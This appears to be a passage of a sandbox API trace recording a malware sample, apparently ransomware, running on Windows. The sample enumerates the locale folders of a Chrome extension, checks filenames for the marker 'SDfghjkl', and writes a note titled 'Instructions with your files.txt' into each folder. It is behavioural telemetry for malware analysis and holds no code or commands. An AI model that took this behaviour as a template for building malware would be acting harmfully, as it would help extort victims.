[0129.684] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\*") returned 143
[0129.685] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e95b80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.685] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\.") returned 143
[0129.685] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e95b80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.685] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\..") returned 144
[0129.685] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.685] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json") returned 155
[0129.685] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.685] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.685] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\Instructions with your files.txt") returned 174
[0129.685] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.685] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.686] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.686] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.686] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.687] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.687] CloseHandle (hObject=0x134) returned 1
[0129.687] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.687] GetProcessHeap () returned 0x810000
[0129.687] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.687] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e95b80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1
[0129.687] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr") returned 141
[0129.687] GetProcessHeap () returned 0x810000
[0129.687] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.687] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\*") returned 143
[0129.687] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e95b80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.688] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\.") returned 143
[0129.688] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e95b80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.688] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\..") returned 144
[0129.688] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.688] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json") returned 155
[0129.688] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.688] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.688] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\Instructions with your files.txt") returned 174
[0129.688] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.689] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.689] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.690] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.690] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.690] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.690] CloseHandle (hObject=0x134) returned 1
[0129.690] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.690] GetProcessHeap () returned 0x810000
[0129.690] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.690] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e95b80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1
[0129.690] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu") returned 141
[0129.690] GetProcessHeap () returned 0x810000
[0129.690] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.690] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\*") returned 143
[0129.690] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e95b80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.690] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\.") returned 143
[0129.691] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e95b80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.691] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\..") returned 144
[0129.691] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.691] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json") returned 155
[0129.691] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.691] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.691] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\Instructions with your files.txt") returned 174
[0129.691] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.693] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.694] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.694] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.694] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.694] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.694] CloseHandle (hObject=0x134) returned 1
[0129.694] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.694] GetProcessHeap () returned 0x810000
[0129.694] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.694] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebbce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ebbce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hy", cAlternateFileName="")) returned 1
[0129.694] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy") returned 141
[0129.694] GetProcessHeap () returned 0x810000
[0129.694] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.694] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\*") returned 143
[0129.694] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebbce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ebbce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.695] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\.") returned 143
[0129.695] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebbce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ebbce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.695] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\..") returned 144
[0129.695] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebcc80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x299, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.695] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json") returned 155
[0129.695] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.695] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebcc80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x299, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.696] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\Instructions with your files.txt") returned 174
